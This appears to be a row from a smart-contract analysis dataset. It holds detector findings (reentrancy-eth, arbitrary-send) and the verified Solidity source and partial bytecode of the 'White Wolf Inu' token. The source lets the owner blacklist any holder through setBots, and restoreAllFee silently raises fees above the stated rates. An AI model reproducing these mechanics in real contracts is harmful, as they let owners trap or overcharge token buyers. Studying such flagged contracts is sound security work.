501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d209cb65e1e98f05f0674446be5fe60706b0acf525fb4a20ed7e8dbecacf683f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,558 |
0x7dc2278a5f935ff0cc46503a8eeed4432f546e3a
|
/**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
//White Wolf Inu ($WhiteWolf)
//TG: https://t.me/whitewolfinu
//Twitter: https://twitter.com/whitewolfinu
//Website: TBA
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WhiteWolfInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "White Wolf Inu";
string private constant _symbol = "WhiteWolf";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _teamFee = 7;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_teamFee = 12;
_taxFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600e81526020017f576869746520576f6c6620496e75000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5768697465576f6c660000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff